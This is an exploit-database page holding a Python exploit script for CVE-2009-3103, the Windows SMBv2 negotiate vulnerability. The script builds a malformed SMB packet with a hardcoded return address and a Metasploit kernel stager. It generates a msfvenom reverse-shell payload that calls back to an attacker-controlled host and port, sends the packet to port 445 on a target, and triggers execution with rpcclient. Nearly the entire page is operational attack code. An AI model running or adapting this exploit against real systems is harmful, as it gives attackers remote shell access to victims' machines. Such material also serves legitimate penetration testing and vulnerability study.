Exploit databaseDownload repository ZIP
GH-716d361a777d3041be8f6a4d82a3f693
afifudinmtop/cve-2009-3103
Sources for CVE-2009-3103
14 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
afifudinmtop/cve-2009-3103Revision dbcd3122f5a2
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.py
Python · 5,220 bytes#!/usr/bin/env python3
import sys
import re
import subprocess
from functools import partial
from socket import socket
escRed = "\033[31m"
escGreen = "\033[32m"
escYellow = "\033[33m"
escBlue = "\033[34m"
escMagenta = "\033[35m"
escReset = "\033[0m"
def colorize(color, text):
if sys.stdout.isatty():
return f"{color}{text}{escReset}"
return text
def colorMsg(color, msg, important_bits=[]):
if sys.stdout.isatty():
msg = re.sub(r"(\[.*?\])", colorize(color, r"\1"), msg)
for bit in important_bits:
msg = msg.replace(bit, colorize(color, bit))
print(msg)
def newMsg(prefix, color, msg, important_bits=[]):
colorMsg(color, f"[{prefix}] {msg}", important_bits)
errMsg = partial(newMsg, "e", escRed)
infoMsg = partial(newMsg, "*", escBlue)
warnMsg = partial(newMsg, "!", escYellow)
okMsg = partial(newMsg, "+", escGreen)
def main():
if not (2 <= len(sys.argv) <= 5):
usage = (
f"\nUsage: {sys.argv[0]} <target_ip> [lhost] [lport] [payload]\n"
)
examples = (
f"Example 1: {sys.argv[0]} 192.168.1.100\n"
+ f"Example 2: {sys.argv[0]} 192.168.1.100 192.168.45.181 443"
+ "windows/shell/reverse_tcp\n"
)
errMsg(usage)
warnMsg(examples)
sys.exit(-1)
target = sys.argv[1]
lhost = sys.argv[2] if len(sys.argv) > 2 else "192.168.45.181"
lport = sys.argv[3] if len(sys.argv) > 3 else "443"
payload = sys.argv[4] if len(sys.argv) > 4 else "windows/shell/reverse_tcp"
host = (target, 445)
infoMsg(f"Target: {target}", [target])
# -- Msfvenom payload generation --
infoMsg(
f"Generating payload for LHOST={lhost} LPORT={lport}",
["LHOST=", lhost, "LPORT=", lport],
)
try:
payloadCmd = [
"msfvenom",
"-p",
payload,
f"LHOST={lhost}",
f"LPORT={lport}",
"EXITFUNC=thread",
"-f",
"raw",
]
shell = subprocess.run(
payloadCmd, check=True, capture_output=True
).stdout
okMsg(f"Payload generated successfully with type {payload}.", [payload])
except FileNotFoundError:
errMsg("'msfvenom' not found. Please ensure it is in your PATH.")
sys.exit(-1)
except subprocess.CalledProcessError as e:
errMsg(f"msfvenom failed:\n{e.stderr.decode()}")
sys.exit(-1)
except Exception as e:
errMsg(f"An unexpected error occurred during payload generation: {e}")
sys.exit(-1)
# -- Main body of the exploit --
buff = b""
buff += b"\x00\x00\x03\x9e\xff\x53\x4d\x42"
buff += b"\x72\x00\x00\x00\x00\x18\x53\xc8"
buff += b"\x17\x02" # high process ID
buff += b"\x00\xe9\x58\x01\x00\x00"
buff += b"\x00\x00\x00\x00\x00\x00\x00\x00"
buff += b"\x00\x00\xfe\xda\x00\x7b\x03\x02"
buff += b"\x04\x0d\xdf\xff" * 25
buff += b"\x00\x02\x53\x4d"
buff += b"\x42\x20\x32\x2e\x30\x30\x32\x00"
buff += b"\x00\x00\x00\x00" * 37
buff += b"\xff\xff\xff\xff" * 2
buff += b"\x42\x42\x42\x42" * 7
buff += b"\xb4\xff\xff\x3f" # magic index
buff += b"\x41\x41\x41\x41" * 6
buff += b"\x09\x0d\xd0\xff" # return address
# stager_sysenter_hook from metasploit
buff += b"\xfc\xfa\xeb\x1e\x5e\x68\x76\x01"
buff += b"\x00\x00\x59\x0f\x32\x89\x46\x5d"
buff += b"\x8b\x7e\x61\x89\xf8\x0f\x30\xb9"
buff += b"\x16\x02\x00\x00\xf3\xa4\xfb\xf4"
buff += b"\xeb\xfd\xe8\xdd\xff\xff\xff\x6a"
buff += b"\x00\x9c\x60\xe8\x00\x00\x00\x00"
buff += b"\x58\x8b\x58\x54\x89\x5c\x24\x24"
buff += b"\x81\xf9\xde\xc0\xad\xde\x75\x10"
buff += b"\x68\x76\x01\x00\x00\x59\x89\xd8"
buff += b"\x31\xd2\x0f\x30\x31\xc0\xeb\x31"
buff += b"\x8b\x32\x0f\xb6\x1e\x66\x81\xfb"
buff += b"\xc3\x00\x75\x25\x8b\x58\x5c\x8d"
buff += b"\x5b\x69\x89\x1a\xb8\x01\x00\x00"
buff += b"\x80\x0f\xa2\x81\xe2\x00\x00\x10"
buff += b"\x00\x74\x0e\xba\x00\xff\x3f\xc0"
buff += b"\x83\xc2\x04\x81\x22\xff\xff\xff"
buff += b"\x7f\x61\x9d\xc3\xff\xff\xff\xff"
buff += b"\x00\x04\xdf\xff\x00\x04\xfe\x7f"
buff += b"\x60\x6a\x30\x58\x99\x64\x8b\x18"
buff += b"\x39\x53\x0c\x74\x2b\x8b\x43\x10"
buff += b"\x8b\x40\x3c\x83\xc0\x28\x8b\x08"
buff += b"\x03\x48\x03\x81\xf9\x6c\x61\x73"
buff += b"\x73\x75\x15\xe8\x07\x00\x00\x00"
buff += b"\xe8\x0d\x00\x00\x00\xeb\x09\xb9"
buff += b"\xde\xc0\xad\xde\x89\xe2\x0f\x34"
buff += b"\x61\xc3\x81\xc4\x54\xf2\xff\xff"
# Add shellcode to the main body
buff += shell
# -- Stage 1: Send the Malicious Packet --
infoMsg(
f"Sending malicious SMB packet to the target: {host[0]}:{host[1]}",
[f"{host[0]}:{host[1]}"],
)
try:
with socket() as s:
s.settimeout(10)
s.connect(host)
s.send(buff)
except Exception as e:
errMsg(f"Packet sending failed: {e}")
sys.exit(-1)
okMsg("Packet sent successfully.")
# -- Stage 2: Trigger the Shellcode --
infoMsg("Trying to trigger the payload with rpcclient...")
try:
command = (
f"echo 'password' | rpcclient -U 'Administrator' "
f"-c 'getusername' {target}"
)
subprocess.run(
command, shell=True, check=False, capture_output=True, timeout=10
)
okMsg("Trigger command sent. Check your listener!")
except subprocess.TimeoutExpired:
warnMsg("The trigger command timed out, but this might be normal.")
infoMsg("Check your listener anyway, the payload might have executed.")
except Exception as e:
errMsg(f"Triggering with rpcclient failed: {e}")
warnMsg("You may need to trigger the authentication manually.")
if __name__ == "__main__":
main()